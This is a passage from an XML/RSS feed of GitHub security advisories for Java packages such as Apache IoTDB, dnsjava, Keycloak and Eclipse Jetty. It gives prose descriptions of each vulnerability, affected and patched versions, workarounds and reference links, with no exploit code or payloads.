        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&quot;&gt;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:flink-tsfile-connector] Apache IoTDB subject to ReDOS with Java 8</title>
      <description>&lt;p&gt;Apache IoTDB versions 0.12.2 through 0.12.6, and 0.13.0 through 0.13.2 are vulnerable to a Denial of Service attack when accepting untrusted patterns for REGEXP queries with Java 8. This issue is patched in 0.13.3. Users should upgrade or use a later version of Java to avoid it.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2022-43766&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&quot;&gt;https://lists.apache.org/thread/9pgpb82p5brooy41n8l5q0y9h33db2zn&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2022-42972.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&quot;&gt;https://github.com/advisories/GHSA-g6hg-4v3c-6jq7&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-g6hg-4v3c-6jq7</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.dolphinscheduler:dolphinscheduler-api] Incorrect Default Permissions in Apache DolphinScheduler</title>
      <description>&lt;p&gt;Versions of Apache DolphinScheduler prior to 1.3.2 allowed an ordinary user under any tenant to override another users password through the API interface.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2020-13922&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2020-13922&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/apache/incubator-dolphinscheduler/commit/b8a9e2e00f2f207ae60c913a7173b59405ff95f1&quot;&gt;https://github.com/apache/incubator-dolphinscheduler/commit/b8a9e2e00f2f207ae60c913a7173b59405ff95f1&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.mail-archive.com/announce@apache.org/msg06076.html&quot;&gt;https://www.mail-archive.com/announce@apache.org/msg06076.html&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-dolphinscheduler/PYSEC-2021-876.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-dolphinscheduler/PYSEC-2021-876.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://www.mail-archive.com/announce%40apache.org/msg06076.html&quot;&gt;https://www.mail-archive.com/announce%40apache.org/msg06076.html&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-qhh5-9738-g9mx&quot;&gt;https://github.com/advisories/GHSA-qhh5-9738-g9mx&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-qhh5-9738-g9mx</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-qhh5-9738-g9mx</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.apache.iotdb:iotdb-grafana-connector] Apache IoTDB Grafana Connector vulnerable to Improper Authentication</title>
      <description>&lt;p&gt;Improper Authentication vulnerability in Apache Software Foundation Apache IoTDB. This issue affects Apache IoTDB Grafana Connector from 0.13.0 through 0.13.3.&lt;/p&gt;
        &lt;p&gt;Attackers could log in without authorization. This is fixed in 0.13.4.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-24831&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-24831&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://lists.apache.org/thread/3dgvzgstycf8b5hyf4z3n7cqdhcyln3l&quot;&gt;https://lists.apache.org/thread/3dgvzgstycf8b5hyf4z3n7cqdhcyln3l&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2023-7.yaml&quot;&gt;https://github.com/pypa/advisory-database/tree/main/vulns/apache-iotdb/PYSEC-2023-7.yaml&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pvjv-386f-c8wh&quot;&gt;https://github.com/advisories/GHSA-pvjv-386f-c8wh&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-pvjv-386f-c8wh</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-pvjv-386f-c8wh</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.jitsi:dnssecjava] DNSJava affected by KeyTrap - NSEC3 closest encloser proof can exhaust CPU resources</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&quot;&gt;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&quot;&gt;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mmwx-rj87-vfgr</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mmwx-rj87-vfgr</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[dnsjava:dnsjava] DNSJava affected by KeyTrap - NSEC3 closest encloser proof can exhaust CPU resources</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&quot;&gt;https://github.com/dnsjava/dnsjava/commit/711af79be3214f52daa5c846b95766dc0a075116&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50868&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&quot;&gt;https://github.com/advisories/GHSA-pv4h-p8jr-6cv2&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&quot;&gt;https://github.com/advisories/GHSA-mmwx-rj87-vfgr&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-mmwx-rj87-vfgr</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-mmwx-rj87-vfgr</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.jitsi:dnssecjava] DNSJava vulnerable to KeyTrap - Denial-of-Service Algorithmic Complexity Attacks</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability. &lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&quot;&gt;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&quot;&gt;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8459-gg55-8qjj&quot;&gt;https://github.com/advisories/GHSA-8459-gg55-8qjj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-crjg-w57m-rqqf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-crjg-w57m-rqqf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[dnsjava:dnsjava] DNSJava vulnerable to KeyTrap - Denial-of-Service Algorithmic Complexity Attacks</title>
      <description>&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;Users using the &lt;code&gt;ValidatingResolver&lt;/code&gt; for DNSSEC validation can run into CPU exhaustion with specially crafted DNSSEC-signed zones.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Users should upgrade to dnsjava v3.6.0&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Although not recommended, only using a non-validating resolver, will remove the vulnerability. &lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;p&gt;&lt;a href=&quot;https://www.athene-center.de/en/keytrap&quot;&gt;https://www.athene-center.de/en/keytrap&lt;/a&gt;&lt;/p&gt;
        &lt;h3 id=&quot;references-1&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/dnsjava/dnsjava/security/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&quot;&gt;https://github.com/dnsjava/dnsjava/commit/07ac36a11578cc1bce0cd8ddf2fe568f062aee78&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&quot;&gt;https://github.com/dnsjava/dnsjava/commit/3ddc45ce8cdb5c2274e10b7401416f497694e1cf&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-50387&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8459-gg55-8qjj&quot;&gt;https://github.com/advisories/GHSA-8459-gg55-8qjj&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-crjg-w57m-rqqf&quot;&gt;https://github.com/advisories/GHSA-crjg-w57m-rqqf&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-crjg-w57m-rqqf</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-crjg-w57m-rqqf</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.eclipse.edc:transfer-data-plane] Eclipse Dataspace Components&#39;s ConsumerPullTransferTokenValidationApiController doesn&#39;t check for token validit</title>
      <description>&lt;p&gt;In Eclipse Dataspace Components, from version 0.5.0 and before version 0.9.0, the ConsumerPullTransferTokenValidationApiController does not check for token validity (expiry, not-before, issuance date), which can allow an attacker to bypass the check for token expiration. The issue requires to have a dataplane configured to support http proxy consumer pull AND include the module &quot;transfer-data-plane&quot;. The affected code was marked deprecated from the version 0.6.0 in favour of Dataplane Signaling. In 0.9.0 the vulnerable code has been removed.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8642&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8642&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-edc/Connector/commit/04899e91dcdb4a407db4eb7af3e7b6ff9a9e9ad6&quot;&gt;https://github.com/eclipse-edc/Connector/commit/04899e91dcdb4a407db4eb7af3e7b6ff9a9e9ad6&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-edc/Connector/releases/tag/v0.9.0&quot;&gt;https://github.com/eclipse-edc/Connector/releases/tag/v0.9.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/cve-assignement/-/issues/28&quot;&gt;https://gitlab.eclipse.org/security/cve-assignement/-/issues/28&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/234&quot;&gt;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/234&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-edc/Connector/blob/bcb2e42aee82ce1863be3dcbdab29919d39a0e97/extensions/control-plane/transfer/transfer-data-plane/src/main/java/org/eclipse/edc/connector/controlplane/transfer/dataplane/api/ConsumerPullTransferTokenValidationApiController.java&quot;&gt;https://github.com/eclipse-edc/Connector/blob/bcb2e42aee82ce1863be3dcbdab29919d39a0e97/extensions/control-plane/transfer/transfer-data-plane/src/main/java/org/eclipse/edc/connector/controlplane/transfer/dataplane/api/ConsumerPullTransferTokenValidationApiController.java&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-8259-2x72-2gvc&quot;&gt;https://github.com/advisories/GHSA-8259-2x72-2gvc&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-8259-2x72-2gvc</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-8259-2x72-2gvc</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.glassfish.main.web:web-core] Eclipse Glassfish URL redirection vulnerability</title>
      <description>&lt;p&gt;In Eclipse Glassfish versions prior to 7.0.10, a URL redirection vulnerability to untrusted sites existed.
        This vulnerability is caused by the vulnerability (CVE-2023-41080) in the Apache code included in GlassFish.
        This vulnerability only affects applications that are explicitly deployed to the root context (&#39;/&#39;).&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-8646&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2024-8646&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-ee4j/glassfish/pull/24655&quot;&gt;https://github.com/eclipse-ee4j/glassfish/pull/24655&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/cve-assignement/-/issues/34&quot;&gt;https://gitlab.eclipse.org/security/cve-assignement/-/issues/34&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/163&quot;&gt;https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/163&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://glassfish.org/download&quot;&gt;https://glassfish.org/download&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse-ee4j/glassfish/commit/06b80012761d07f6e40e40aa6b0133465b0bd145&quot;&gt;https://github.com/eclipse-ee4j/glassfish/commit/06b80012761d07f6e40e40aa6b0133465b0bd145&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-7gq2-vwq9-w8vw&quot;&gt;https://github.com/advisories/GHSA-7gq2-vwq9-w8vw&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-7gq2-vwq9-w8vw</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-7gq2-vwq9-w8vw</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.keycloak:keycloak-core] Keycloak Denial of Service vulnerability</title>
      <description>&lt;p&gt;A denial of service vulnerability was found in keycloak where the amount of attributes per object is not limited,an attacker by sending repeated HTTP requests could cause a resource exhaustion when the application send back rows with long attribute values.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2023-6841&quot;&gt;https://nvd.nist.gov/vuln/detail/CVE-2023-6841&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://access.redhat.com/security/cve/CVE-2023-6841&quot;&gt;https://access.redhat.com/security/cve/CVE-2023-6841&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://bugzilla.redhat.com/show_bug.cgi?id=2254714&quot;&gt;https://bugzilla.redhat.com/show_bug.cgi?id=2254714&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-w97f-w3hq-36g2&quot;&gt;https://github.com/advisories/GHSA-w97f-w3hq-36g2&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-w97f-w3hq-36g2</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-w97f-w3hq-36g2</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.eclipse.jetty:jetty-xml] Eclipse Jetty XmlParser allows arbitrary DOCTYPE declarations</title>
      <description>&lt;h3 id=&quot;from-the-reporter&quot;&gt;From the reporter&lt;/h3&gt;
        &lt;blockquote&gt;
        &lt;p&gt;&lt;code&gt;XmlParser&lt;/code&gt; is vulnerable to XML external entity (XXE) vulnerability.
        XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit
        this vulnerability in order to achieve SSRF or cause a denial of service.
        One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the
        WAR includes a malicious web.xml.&lt;/p&gt;
        &lt;/blockquote&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit &lt;code&gt;XmlParser&lt;/code&gt; the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. &lt;/p&gt;
        &lt;p&gt;Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory.&lt;/p&gt;
        &lt;p&gt;However, any direct usage of the &lt;code&gt;XmlParser&lt;/code&gt; class by an application may be vulnerable. The impact would greatly depend on how the application uses &lt;code&gt;XmlParser&lt;/code&gt;, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely.&lt;/p&gt;
        &lt;h3 id=&quot;patches&quot;&gt;Patches&lt;/h3&gt;
        &lt;p&gt;Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067&lt;/p&gt;
        &lt;h3 id=&quot;workarounds&quot;&gt;Workarounds&lt;/h3&gt;
        &lt;p&gt;Don&#39;t use &lt;code&gt;XmlParser&lt;/code&gt; to parse data from users.&lt;/p&gt;
        &lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;
        &lt;ul&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/security/advisories/GHSA-58qw-p7qm-5rvh&quot;&gt;https://github.com/eclipse/jetty.project/security/advisories/GHSA-58qw-p7qm-5rvh&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/10067&quot;&gt;https://github.com/eclipse/jetty.project/pull/10067&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-10.0.16&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-10.0.16&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-11.0.16&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-11.0.16&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-12.0.0&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-12.0.0&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/releases/tag/jetty-9.4.52.v20230823&quot;&gt;https://github.com/eclipse/jetty.project/releases/tag/jetty-9.4.52.v20230823&lt;/a&gt;&lt;/li&gt;
        &lt;li&gt;&lt;a href=&quot;https://github.com/advisories/GHSA-58qw-p7qm-5rvh&quot;&gt;https://github.com/advisories/GHSA-58qw-p7qm-5rvh&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      </description>
      <link>https://github.com/advisories/GHSA-58qw-p7qm-5rvh</link>
      <guid isPermaLink="false">https://github.com/advisories/GHSA-58qw-p7qm-5rvh</guid>
      <author>GitHub</author>
    </item>
    <item>
      <title>[org.eclipse.jetty:jetty-openid] Jetty&#39;s OpenId Revoked authentication allows one request</title>
      <description>&lt;p&gt;If a Jetty &lt;code&gt;OpenIdAuthenticator&lt;/code&gt; uses the optional nested &lt;code&gt;LoginService&lt;/code&gt;, and that &lt;code&gt;LoginService&lt;/code&gt; decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. &lt;/p&gt;
        &lt;p&gt;So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the &lt;code&gt;LoginService&lt;/code&gt;.&lt;/p&gt;
        &lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;
        &lt;p&gt;This impacts usages of the jetty-openid which have configured a nested &lt;code&gt;LoginService&lt;/code&gt; and where that &lt;code&gt;LoginService&lt;/code&gt; will is capable of rejecting previously authenticated users.&lt;/p&gt;
        &lt;h3 id=&quot;original-report&quot;&gt;Original Report&lt;/h3&gt;
        &lt;blockquote&gt;
        &lt;p&gt;working on a custom OpenIdAuthenticator, I discovered the following:&lt;/p&gt;
        &lt;p&gt;&lt;a href=&quot;https://github.com/eclipse/jetty.project/blob/jetty-10.0.14/jetty-openid/src/main/java/org/eclipse/jetty/security/openid/OpenIdAuthenticator.java#L505&quot;&gt;https://github.com/eclipse/jetty.project/blob/jetty-10.0.14/jetty-openid/src/main/java/org/eclipse/jetty/security/openid/OpenIdAuthenticator.java#L505&lt;/a&gt;&lt;/p&gt;
        &lt;p&gt;In the case where the LoginService does return that the authentication has been revoked (from the validate() call on line 463), the OpenIdAuthenticator removes the authentication from the session; however the current request still proceeds as if authenticated, since it falls through to &quot;return authentication&quot; on line 505.&lt;/p&gt;
        &lt;p&gt;This is fixed by moving the line 505 (and associated debug log) inside the else block that ends on line 502, instead of outside it. Then the revocation case will run through to line 517 and will trigger a new OpenId authentication which I think is correct.&lt;/p&gt;
        &lt;p&gt;I think this revocation can only occur if you do attach a separate LoginService to the OpenIdLoginService, but in that case the revoked authentication will still let the next request through (and possibly more than one if they are very close to simultaneous).&lt;/p&gt;
        &lt;p&gt;Technically I think this is a security vulnerability, if a very minor one, so I&#39;m sending this off-list.&lt;/p&gt;
        &lt;/blockquote&gt;
        &lt;h3 id=&quot;patched-versions&quot;&gt;Patched Versions&lt;/h3&gt;
        &lt;p&gt;Fixed in Jetty Versions:&lt;/p&gt;
        &lt;ul&gt;
        &lt;li&gt;9.4.52 - fixed in PR &lt;a href=&quot;https://github.com/eclipse/jetty.project/pull/9660&quot;&gt;https://github.com/eclipse/jetty.project/pull/9660&lt;/a&gt;&lt;/li&gt;
